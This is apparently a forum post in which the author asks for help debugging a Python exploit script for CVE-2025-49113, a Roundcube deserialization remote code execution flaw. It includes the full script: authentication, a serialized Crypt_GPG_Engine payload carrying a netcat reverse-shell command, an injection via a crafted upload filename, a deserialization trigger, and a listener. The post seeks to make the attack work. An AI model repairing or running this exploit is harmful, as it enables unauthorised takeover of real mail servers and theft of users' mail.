I'm currently developing an exploit script for CVE-2025-49113, a vulnerability affecting Roundcube versions 1.6.10 and earlier. This issue involves Remote Code Execution (RCE) via improper PHP object deserialization. Despite implementing the exploit logic, my script fails to work as expected. The challenge I'm facing is that: The script executes without explicit errors. No reverse shell connection is established. Debugging is complicated due to the lack of error feedback. I've carefully reviewed the serialization logic and payload structure but haven't identified the root cause. Would anyone with expertise in: PHP deserialization vulnerabilities Roundcube internals Python-to-PHP payload translation be willing to review my code or suggest debugging approaches? Below are key details about the environment: Target: Roundcube 1.6.10 Exploit Method: Malicious file upload + session deserialization Symptoms: Successful upload but no payload execution import requests import sys import threading import socket import time from urllib.parse import urlparse import argparse import re parser = argparse.ArgumentParser(description='Exploit script for CVE-2025-49113 by Krypt3d4ng3l (mejorado)') parser.add_argument('-H', '--host', dest='target_url', required=True, help='Target URL to exploit') parser.add_argument('-u', '--username', dest='username', required=True, help='Username for authentication') parser.add_argument('-p', '--password', dest='password', required=True, help='Password for authentication') parser.add_argument('-ip', '--ip-addr', dest='IP', required=True, help='Attacker IP for reverse shell') parser.add_argument('-port', '--port', dest='port', required=True, help='Attacker port for reverse shell') args = parser.parse_args() received_connection = False def validate_url(target_url): try: result = urlparse(target_url) return all([result.scheme, result.netloc]) except Exception as e: print(f"[!] Error validating URL: {e}") return False def fetch_token(session, target_url): try: response = session.get(target_url) match = re.search(r'name="_token"\s+value="([^"]+)"', response.text) return match.group(1) if match else None except Exception as e: print(f"[!] Error fetching _token: {e}") return None def authenticate(session, target_url, username, password): print("[*] Authenticating...") token = fetch_token(session, target_url) if not token: print("[-] Failed to get CSRF token") return False login_url = f"{target_url}/?_task=login" headers = {'Content-Type': 'application/x-www-form-urlencoded'} data = { '_token': token, '_task': 'login', '_action': 'login', '_timezone': 'UTC', 'url': '', '_user': username, '_pass': password, } response = session.post(login_url, headers=headers, data=data, allow_redirects=True) return response.status_code in [200, 302] def process_serialized(obj): return obj.replace('\\', '\\\\').replace('"', '\\"') def calc_payload(IP, port): print("[*] Generating payload...") shell = f'mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | nc {IP} {port} > /tmp/s' shell_len = len(shell) php_object = f'O:16:"Crypt_GPG_Engine":3:{{s:8:"_process";b:0;s:8:"_gpgconf";s:{shell_len}:"{shell}";s:8:"_homedir";s:0:"";}}' return process_serialized(php_object) def execute_payload(session, target_url, serialized_payload): print("[*] Sending malicious payload...") from_field = f"edit-{serialized_payload}" filename = f'x|b:0;preferences_time|b:0;preferences|s:{len(serialized_payload)}:"{serialized_payload}";}}.png' try: with open('test.png', 'rb') as f: file_data = f.read() except FileNotFoundError: file_data = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR" files = { '_file[]': (filename, file_data, 'image/png') } params = { '_from': from_field, '_task': 'settings', '_framed': '1', '_remote': '1', '_id': '1', '_uploadid': '1', '_unlock': '1', '_action': 'upload' } try: response = session.post(f"{target_url}/?_task=settings", params=params, files=files) print(f"[+] Response Status Code: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[!] Error during upload: {e}") return False def trigger_deserialization(session, target_url): print("[*] Triggering deserialization by visiting settings page...") try: session.get(f"{target_url}/?_task=settings", timeout=5) print("[+] Trigger sent. Waiting for reverse shell...") except Exception as e: print(f"[!] Trigger request failed: {e}") def start_listener(ip, port): global received_connection print(f"[*] Starting listener on {ip}:{port} ...") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((ip, int(port))) s.listen(1) s.settimeout(15) try: conn, addr = s.accept() received_connection = True print(f"[+] Connection received from {addr}") conn.sendall(b'whoami\n') response = conn.recv(1024) print(f"[+] Shell response: {response.decode(errors='ignore')}") conn.close() except socket.timeout: print("[-] No reverse shell received.") def main(): if not validate_url(args.target_url): print("[-] Invalid URL format.") sys.exit(1) listener_thread = threading.Thread(target=start_listener, args=(args.IP, args.port)) listener_thread.start() time.sleep(2) session = requests.Session() if not authenticate(session, args.target_url, args.username, args.password): print("[-] Authentication failed.") sys.exit(1) print("[+] Authentication successful.") serialized_payload = calc_payload(args.IP, args.port) if execute_payload(session, args.target_url, serialized_payload): trigger_deserialization(session, args.target_url) else: print("[-] Failed to send payload.") listener_thread.join() if not received_connection: print("[-] Exploit failed or connection blocked.") else: print("[+] Exploit successful!") if __name__ == '__main__': main() I tried using AI to improve the debug but it does not work, I also tried to compare with a working script in php and I'm not able to know the error. Here is the functional script in PHP to compare with mine. Continue reading...